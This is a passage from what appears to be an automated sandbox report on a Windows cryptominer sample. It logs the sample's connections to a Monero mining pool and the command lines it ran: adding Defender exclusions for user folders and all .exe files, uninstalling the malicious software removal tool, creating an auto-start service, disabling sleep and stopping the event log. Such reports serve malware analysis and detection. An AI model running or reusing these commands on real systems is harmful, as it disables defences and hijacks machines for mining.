                                                                        RT_GROUP_ICON0x2e90bc0x14dataEnglishUnited States1.1
                                                                        RT_GROUP_ICON0x2e90d00x14dataEnglishUnited States1.1
                                                                        RT_GROUP_ICON0x2e90e40x14dataEnglishUnited States1.1
                                                                        RT_GROUP_ICON0x2e90f80x68dataEnglishUnited States0.6923076923076923
                                                                        RT_GROUP_ICON0x2e91600x68dataEnglishUnited States0.6923076923076923
                                                                        RT_GROUP_ICON0x2e91c80x68dataEnglishUnited States0.6923076923076923
                                                                        RT_GROUP_ICON0x2e92300x3edataEnglishUnited States0.8709677419354839
                                                                        RT_GROUP_ICON0x2e92700x68dataEnglishUnited States0.7115384615384616
                                                                        RT_GROUP_ICON0x2e92d80x68dataEnglishUnited States0.6923076923076923
                                                                        RT_GROUP_ICON0x2e93400x68dataEnglishUnited States0.7115384615384616
                                                                        RT_GROUP_ICON0x2e93a80x68dataEnglishUnited States0.7403846153846154
                                                                        RT_VERSION0x2e94100x450dataEnglishUnited States0.4384057971014493

                                                                        Imports

                                                                        DLLImport
                                                                        msvcrt.dll__C_specific_handler, __getmainargs, __initenv, __iob_func, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _commode, _fmode, _initterm, _onexit, _wcsicmp, _wcsnicmp, abort, calloc, exit, fprintf, free, fwrite, malloc, memcpy, memset, signal, strlen, strncmp, vfprintf, wcscat, wcscpy, wcslen, wcsncmp
                                                                        KERNEL32.dllDeleteCriticalSection, EnterCriticalSection, GetLastError, InitializeCriticalSection, LeaveCriticalSection, SetUnhandledExceptionFilter, Sleep, TlsGetValue, VirtualProtect, VirtualQuery

                                                                        Possible Origin

                                                                        Language of compilation systemCountry where language is spokenMap
                                                                        EnglishUnited States

                                                                        Network Behavior

                                                                        Network Port Distribution

                                                                        TCP Packets

                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                        Dec 1, 2024 20:09:06.761605024 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:09:06.882318020 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:09:06.882411003 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:09:06.882806063 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:09:07.186769009 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:09:08.402199984 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:09:08.402266979 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:09:08.402332067 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:09:08.405874014 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:09:08.526705980 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:09:08.818459988 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:09:08.860708952 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:09:09.071868896 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:09:09.126321077 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:09:15.430341005 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:09:15.470109940 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:09:25.947191000 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:09:26.001491070 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:09:35.530113935 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:09:35.610800982 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:09:45.622102976 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:09:45.814090967 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:09:55.670577049 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:09:55.814038992 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:10:05.572614908 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:10:05.814105988 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:10:16.510915041 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:10:16.611007929 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:10:25.863764048 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:10:25.908034086 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:10:35.760684967 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:10:35.814265966 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:10:46.068499088 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:10:46.108259916 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:10:55.573136091 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:10:55.782599926 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:11:01.233581066 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:11:01.408211946 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:11:13.074625969 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:11:13.298788071 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:11:22.242147923 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:11:22.314162970 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:11:32.348891020 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:11:32.407727003 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:11:42.446497917 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:11:42.501199007 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:11:49.144526005 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:11:49.313602924 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:11:59.372546911 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:11:59.499026060 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:12:06.202302933 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:12:06.202348948 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:12:06.202455997 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:12:06.529206991 CET4971710343192.168.2.9141.94.23.83
                                                                        Dec 1, 2024 20:12:06.649357080 CET1034349717141.94.23.83192.168.2.9
                                                                        Dec 1, 2024 20:12:12.034105062 CET4997510343192.168.2.9212.47.253.124
                                                                        Dec 1, 2024 20:12:12.154373884 CET1034349975212.47.253.124192.168.2.9
                                                                        Dec 1, 2024 20:12:12.154524088 CET4997510343192.168.2.9212.47.253.124
                                                                        Dec 1, 2024 20:12:12.154853106 CET4997510343192.168.2.9212.47.253.124
                                                                        Dec 1, 2024 20:12:12.274868011 CET1034349975212.47.253.124192.168.2.9
                                                                        Dec 1, 2024 20:12:13.500889063 CET1034349975212.47.253.124192.168.2.9
                                                                        Dec 1, 2024 20:12:13.500919104 CET1034349975212.47.253.124192.168.2.9
                                                                        Dec 1, 2024 20:12:13.501213074 CET4997510343192.168.2.9212.47.253.124
                                                                        Dec 1, 2024 20:12:13.501854897 CET4997510343192.168.2.9212.47.253.124
                                                                        Dec 1, 2024 20:12:13.621756077 CET1034349975212.47.253.124192.168.2.9
                                                                        Dec 1, 2024 20:12:13.916423082 CET1034349975212.47.253.124192.168.2.9
                                                                        Dec 1, 2024 20:12:13.969304085 CET4997510343192.168.2.9212.47.253.124
                                                                        Dec 1, 2024 20:12:14.167361975 CET1034349975212.47.253.124192.168.2.9
                                                                        Dec 1, 2024 20:12:14.219264030 CET4997510343192.168.2.9212.47.253.124
                                                                        Dec 1, 2024 20:12:20.005485058 CET1034349975212.47.253.124192.168.2.9
                                                                        Dec 1, 2024 20:12:20.172261953 CET4997510343192.168.2.9212.47.253.124
                                                                        Dec 1, 2024 20:12:24.972990990 CET1034349975212.47.253.124192.168.2.9
                                                                        Dec 1, 2024 20:12:25.172182083 CET4997510343192.168.2.9212.47.253.124
                                                                        Dec 1, 2024 20:12:34.961707115 CET1034349975212.47.253.124192.168.2.9
                                                                        Dec 1, 2024 20:12:35.172008991 CET4997510343192.168.2.9212.47.253.124
                                                                        Dec 1, 2024 20:12:44.980925083 CET1034349975212.47.253.124192.168.2.9
                                                                        Dec 1, 2024 20:12:45.062648058 CET4997510343192.168.2.9212.47.253.124
                                                                        Dec 1, 2024 20:12:55.993725061 CET1034349975212.47.253.124192.168.2.9
                                                                        Dec 1, 2024 20:12:56.171550989 CET4997510343192.168.2.9212.47.253.124
                                                                        Dec 1, 2024 20:13:05.986536026 CET1034349975212.47.253.124192.168.2.9
                                                                        Dec 1, 2024 20:13:06.077625990 CET4997510343192.168.2.9212.47.253.124

                                                                        UDP Packets

                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                        Dec 1, 2024 20:09:06.601376057 CET5137153192.168.2.91.1.1.1
                                                                        Dec 1, 2024 20:09:06.742626905 CET53513711.1.1.1192.168.2.9

                                                                        DNS Queries

                                                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                        Dec 1, 2024 20:09:06.601376057 CET192.168.2.91.1.1.10x4c92Standard query (0)xmr-eu1.nanopool.orgA (IP address)IN (0x0001)false

                                                                        DNS Answers

                                                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                        Dec 1, 2024 20:09:06.742626905 CET1.1.1.1192.168.2.90x4c92No error (0)xmr-eu1.nanopool.org51.15.65.182A (IP address)IN (0x0001)false
                                                                        Dec 1, 2024 20:09:06.742626905 CET1.1.1.1192.168.2.90x4c92No error (0)xmr-eu1.nanopool.org51.15.58.224A (IP address)IN (0x0001)false
                                                                        Dec 1, 2024 20:09:06.742626905 CET1.1.1.1192.168.2.90x4c92No error (0)xmr-eu1.nanopool.org146.59.154.106A (IP address)IN (0x0001)false
                                                                        Dec 1, 2024 20:09:06.742626905 CET1.1.1.1192.168.2.90x4c92No error (0)xmr-eu1.nanopool.org141.94.23.83A (IP address)IN (0x0001)false
                                                                        Dec 1, 2024 20:09:06.742626905 CET1.1.1.1192.168.2.90x4c92No error (0)xmr-eu1.nanopool.org163.172.154.142A (IP address)IN (0x0001)false
                                                                        Dec 1, 2024 20:09:06.742626905 CET1.1.1.1192.168.2.90x4c92No error (0)xmr-eu1.nanopool.org54.37.137.114A (IP address)IN (0x0001)false
                                                                        Dec 1, 2024 20:09:06.742626905 CET1.1.1.1192.168.2.90x4c92No error (0)xmr-eu1.nanopool.org51.15.193.130A (IP address)IN (0x0001)false
                                                                        Dec 1, 2024 20:09:06.742626905 CET1.1.1.1192.168.2.90x4c92No error (0)xmr-eu1.nanopool.org162.19.224.121A (IP address)IN (0x0001)false
                                                                        Dec 1, 2024 20:09:06.742626905 CET1.1.1.1192.168.2.90x4c92No error (0)xmr-eu1.nanopool.org51.89.23.91A (IP address)IN (0x0001)false
                                                                        Dec 1, 2024 20:09:06.742626905 CET1.1.1.1192.168.2.90x4c92No error (0)xmr-eu1.nanopool.org54.37.232.103A (IP address)IN (0x0001)false
                                                                        Dec 1, 2024 20:09:06.742626905 CET1.1.1.1192.168.2.90x4c92No error (0)xmr-eu1.nanopool.org212.47.253.124A (IP address)IN (0x0001)false

                                                                        Statistics

                                                                        CPU Usage

                                                                        Click to jump to process

                                                                        Memory Usage

                                                                        Click to jump to process

                                                                        High Level Behavior Distribution

                                                                        Click to dive into process behavior distribution

                                                                        Behavior

                                                                        Click to jump to process

                                                                        System Behavior

                                                                        General

                                                                        Target ID:0
                                                                        Start time:14:08:57
                                                                        Start date:01/12/2024
                                                                        Path:C:\Users\user\Desktop\rLaC8kO1rD.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:"C:\Users\user\Desktop\rLaC8kO1rD.exe"
                                                                        Imagebase:0x7ff658440000
                                                                        File size:3'029'504 bytes
                                                                        MD5 hash:C50BD7DCE0964F07ACF0986080C5833B
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:low
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:1
                                                                        Start time:14:08:58
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                        Imagebase:0x7ff760310000
                                                                        File size:452'608 bytes
                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:high
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:2
                                                                        Start time:14:08:58
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\conhost.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                        Imagebase:0x7ff70f010000
                                                                        File size:862'208 bytes
                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:high
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:5
                                                                        Start time:14:09:01
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\cmd.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                        Imagebase:0x7ff653d20000
                                                                        File size:289'792 bytes
                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:high
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:6
                                                                        Start time:14:09:01
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\powercfg.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                        Imagebase:0x7ff7d7800000
                                                                        File size:96'256 bytes
                                                                        MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:moderate
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:7
                                                                        Start time:14:09:01
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\conhost.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                        Imagebase:0x7ff70f010000
                                                                        File size:862'208 bytes
                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:high
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:8
                                                                        Start time:14:09:01
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\powercfg.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                        Imagebase:0x7ff7d7800000
                                                                        File size:96'256 bytes
                                                                        MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:moderate
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:9
                                                                        Start time:14:09:01
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\conhost.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                        Imagebase:0x7ff70f010000
                                                                        File size:862'208 bytes
                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:high
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:10
                                                                        Start time:14:09:01
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\powercfg.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                        Imagebase:0x7ff7d7800000
                                                                        File size:96'256 bytes
                                                                        MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:moderate
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:11
                                                                        Start time:14:09:01
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\powercfg.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                        Imagebase:0x7ff7d7800000
                                                                        File size:96'256 bytes
                                                                        MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:moderate
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:12
                                                                        Start time:14:09:01
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\conhost.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                        Imagebase:0x7ff70f010000
                                                                        File size:862'208 bytes
                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:high
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:13
                                                                        Start time:14:09:01
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\conhost.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                        Imagebase:0x7ff70f010000
                                                                        File size:862'208 bytes
                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:14
                                                                        Start time:14:09:01
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\sc.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\sc.exe delete "NTBMNINC"
                                                                        Imagebase:0x7ff7ab6e0000
                                                                        File size:72'192 bytes
                                                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:15
                                                                        Start time:14:09:01
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\conhost.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                        Imagebase:0x7ff70f010000
                                                                        File size:862'208 bytes
                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:16
                                                                        Start time:14:09:01
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\conhost.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                        Imagebase:0x7ff70f010000
                                                                        File size:862'208 bytes
                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:17
                                                                        Start time:14:09:02
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\wusa.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:wusa /uninstall /kb:890830 /quiet /norestart
                                                                        Imagebase:0x7ff64e9f0000
                                                                        File size:345'088 bytes
                                                                        MD5 hash:FBDA2B8987895780375FE0E6254F6198
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:18
                                                                        Start time:14:09:02
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\sc.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\sc.exe create "NTBMNINC" binpath= "C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exe" start= "auto"
                                                                        Imagebase:0x7ff7ab6e0000
                                                                        File size:72'192 bytes
                                                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:19
                                                                        Start time:14:09:02
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\conhost.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                        Imagebase:0x7ff70f010000
                                                                        File size:862'208 bytes
                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:20
                                                                        Start time:14:09:02
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\sc.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\sc.exe stop eventlog
                                                                        Imagebase:0x7ff7ab6e0000
                                                                        File size:72'192 bytes
                                                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:21
                                                                        Start time:14:09:02
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\sc.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\sc.exe start "NTBMNINC"
                                                                        Imagebase:0x7ff7ab6e0000
                                                                        File size:72'192 bytes
                                                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:22
                                                                        Start time:14:09:02
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\conhost.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                        Imagebase:0x7ff70f010000
                                                                        File size:862'208 bytes
                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:23
                                                                        Start time:14:09:02
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\conhost.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                        Imagebase:0x7ff70f010000
                                                                        File size:862'208 bytes
                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:24
                                                                        Start time:14:09:02
                                                                        Start date:01/12/2024
                                                                        Path:C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exe
                                                                        Imagebase:0x7ff722cb0000
                                                                        File size:3'029'504 bytes
                                                                        MD5 hash:C50BD7DCE0964F07ACF0986080C5833B
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Antivirus matches:
                                                                        • Detection: 61%, ReversingLabs
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:25
                                                                        Start time:14:09:03
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                        Imagebase:0x7ff760310000
                                                                        File size:452'608 bytes
                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:26
                                                                        Start time:14:09:03
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\conhost.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                        Imagebase:0x7ff70f010000
                                                                        File size:862'208 bytes
                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:27
                                                                        Start time:14:09:05
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\cmd.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                        Imagebase:0x7ff653d20000
                                                                        File size:289'792 bytes
                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:28
                                                                        Start time:14:09:05
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\powercfg.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                        Imagebase:0x7ff7d7800000
                                                                        File size:96'256 bytes
                                                                        MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:29
                                                                        Start time:14:09:05
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\powercfg.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                        Imagebase:0x7ff7d7800000
                                                                        File size:96'256 bytes
                                                                        MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:30
                                                                        Start time:14:09:05
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\conhost.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                        Imagebase:0x7ff70f010000
                                                                        File size:862'208 bytes
                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:31
                                                                        Start time:14:09:05
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\conhost.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                        Imagebase:0x7ff70f010000
                                                                        File size:862'208 bytes
                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:32
                                                                        Start time:14:09:05
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\powercfg.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                        Imagebase:0x7ff7d7800000
                                                                        File size:96'256 bytes
                                                                        MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                                        Has elevated privileges:true
                                                                        Has administrator privileges:true
                                                                        Programmed in:C, C++ or other language
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:33
                                                                        Start time:14:09:05
                                                                        Start date:01/12/2024
                                                                        Path:C:\Windows\System32\conhost.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                        Imagebase:0x7ff70f010000
